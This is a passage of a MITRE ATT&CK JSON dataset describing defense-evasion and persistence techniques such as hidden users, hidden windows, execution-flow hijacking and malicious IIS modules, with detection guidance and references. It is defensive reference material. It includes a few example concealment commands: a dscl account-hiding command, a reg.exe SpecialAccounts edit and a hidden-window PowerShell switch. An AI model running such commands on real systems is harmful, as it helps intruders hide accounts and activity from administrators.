Questions and Answers. Retrieved December 21, 2015.", + "source_name": "Kaspersky Equation QA" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-13T21:01:22.966Z", + "name": "Hidden Files and Directories", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1158", + "external_id": "T1158", + "source_name": "mitre-attack" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + }, + { + "source_name": "WireLurker", + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Hidden Files and Directories", + "x_mitre_data_sources": [ + "File: File Creation", + "Process: Process Creation", + "Command: Command Execution", + "File: File Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T22:32:25.985Z", + "created": "2020-02-26T17:46:13.128Z", + "id": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564/001", + "external_id": "T1564.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + }, + { + "source_name": "WireLurker", + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-07-31T17:42:43.677Z", + "name": "Hidden Users", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1147", + "external_id": "T1147", + "source_name": "mitre-attack" + }, + { + "source_name": "Cybereason OSX Pirrit", + "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Hidden Users", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "User Account: User Account Creation", + "User Account: User Account Metadata", + "File: File Modification" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-14T20:22:03.625Z", + "created": "2020-03-13T20:12:40.876Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "root", + "Administrator" + ], + "description": "Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.\n\nIn macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: sudo dscl . -create /Users/username UniqueID 401) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)\n\nIn Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user \u201ctest\u201d from the Windows login screen: reg.exe ADD 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)", + "x_mitre_contributors": [ + "Omkar Gudhate" + ], + "x_mitre_detection": "This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, \"hidden\" users may still get a home directory and will appear in the authentication logs.\n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccountsUserList key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564/002", + "external_id": "T1564.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Cybereason OSX Pirrit", + "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", + "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021.", + "source_name": "FireEye SMOKEDHAM June 2021" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-13T21:03:18.600Z", + "name": "Hidden Window", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1143", + "external_id": "T1143", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1", + "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.", + "source_name": "PowerShell About 2019" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Hidden Window", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Script: Script Execution", + "File: File Modification" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-29T22:49:43.557Z", + "created": "2020-03-13T20:26:49.433Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)", + "x_mitre_contributors": [ + "Travis Smith, Tripwire" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564/003", + "external_id": "T1564.003", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1", + "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.", + "source_name": "PowerShell About 2019" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Hide Artifacts", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "Application Log: Application Log Content", + "Command: Command Execution", + "File: File Metadata", + "User Account: User Account Creation", + "User Account: User Account Metadata", + "File: File Modification", + "Script: Script Execution", + "Process: OS API Execution", + "Windows Registry: Windows Registry Key Modification", + "Firmware: Firmware Modification", + "Service: Service Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-20T19:01:56.752Z", + "created": "2020-02-26T17:41:25.933Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", + "description": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)\n\nAdversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor files, processes, and command-line arguments for actions indicative of hidden artifacts. Monitor event and authentication logs for records of hidden artifacts being used. Monitor the file system and shell commands for hidden attribute usage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1564", + "external_id": "T1564", + "source_name": "mitre-attack" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "Cybereason OSX Pirrit", + "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 31, 2020.", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" + }, + { + "source_name": "MalwareBytes ADS July 2015", + "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.", + "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/" + }, + { + "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.", + "source_name": "Sophos Ragnar May 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Hijack Execution Flow", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution", + "Service: Service Metadata", + "File: File Creation", + "File: File Modification" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-14T23:52:52.536Z", + "created": "2020-03-12T20:38:12.465Z", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574", + "external_id": "T1574", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.", + "source_name": "Autoruns for Windows" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:29:30.516Z", + "name": "Hooking", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "revoked": true, + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1179", + "url": "https://attack.mitre.org/techniques/T1179" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx", + "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.", + "source_name": "Microsoft Hook Overview" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/", + "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.", + "source_name": "Adlice Software IAT Hooks Oct 2014" + }, + { + "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/", + "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.", + "source_name": "MWRInfoSecurity Dynamic Hooking 2015" + }, + { + "url": "https://www.exploit-db.com/docs/17802.pdf", + "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.", + "source_name": "HighTech Bridge Inline Hooking Sept 2011" + }, + { + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918", + "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.", + "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017" + }, + { + "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", + "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.", + "source_name": "Symantec Windows Rootkits" + }, + { + "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html", + "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.", + "source_name": "Volatility Detecting Hooks Sept 2012" + }, + { + "url": "https://github.com/prekageo/winhook", + "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.", + "source_name": "PreKageo Winhook Jul 2011" + }, + { + "url": "https://github.com/jay/gethooks", + "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.", + "source_name": "Jay GetHooks Sept 2011" + }, + { + "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/", + "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.", + "source_name": "Zairon Hooking Dec 2006" + }, + { + "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/", + "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.", + "source_name": "EyeofRa Detecting Hooking June 2017" + }, + { + "url": "http://www.gmer.net/", + "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.", + "source_name": "GMER Rootkits" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx", + "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.", + "source_name": "Microsoft Process Snapshot" + }, + { + "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis", + "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.", + "source_name": "StackExchange Hooks Jul 2012" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Hypervisor", + "x_mitre_version": "2.0", + "modified": "2020-03-30T13:44:04.712Z", + "created": "2017-05-31T21:30:50.958Z", + "x_mitre_deprecated": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63", + "description": "**This technique has been deprecated and should no longer be used.**\n\nA type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1062", + "external_id": "T1062", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/552.html", + "external_id": "CAPEC-552", + "source_name": "capec" + }, + { + "source_name": "Wikipedia Hypervisor", + "description": "Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.", + "url": "https://en.wikipedia.org/wiki/Hypervisor" + }, + { + "source_name": "Wikipedia Xen", + "description": "Xen. (n.d.). In Wikipedia. Retrieved November 13, 2014.", + "url": "http://en.wikipedia.org/wiki/Xen" + }, + { + "source_name": "Myers 2007", + "description": "Myers, M., and Youndt, S. (2007). An Introduction to Hardware-Assisted Virtual Machine (HVM) Rootkits. Retrieved November 13, 2014.", + "url": "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.90.8832&rep=rep1&type=pdf" + }, + { + "source_name": "virtualization.info 2006", + "description": "virtualization.info. (Interviewer) & Liguori, A. (Interviewee). (2006, August 11). Debunking Blue Pill myth [Interview transcript]. Retrieved November 13, 2014.", + "url": "http://virtualization.info/en/news/2006/08/debunking-blue-pill-myth.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "IIS Components", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-17T15:06:24.161Z", + "created": "2021-06-03T18:44:29.770Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version, Http{Extension/Filter}Proc, and (optionally) Terminate{Extension/Filter}. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)", + "x_mitre_contributors": [ + "Wes Hurd" + ], + "x_mitre_detection": "Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\system32\\inetsrv\\config\\applicationhost.config could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\n\nMonitor execution and command-line arguments of AppCmd.exe, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1505/004", + "external_id": "T1505.004", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)", + "description": "Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021.", + "source_name": "Microsoft ISAPI Extension Overview 2017" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)", + "description": "Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021.", + "source_name": "Microsoft ISAPI Filter Overview 2017" + }, + { + "url": "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html", + "description": "Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.", + "source_name": "IIS Backdoor 2011" + }, + { + "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/", + "description": "Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021.", + "source_name": "Trustwave IIS Module 2013" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)", + "description": "Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021.", + "source_name": "Microsoft ISAPI Extension All Incoming 2017" + }, + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + }, + { + "url": "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx", + "description": "MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021.", + "source_name": "MMPC ISAPI Filter 2012" + }, + { + "url": "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview", + "description": "Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.", + "source_name": "Microsoft IIS Modules Overview 2007" + }, + { + "url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", + "description": "Hromcov\u00e1, 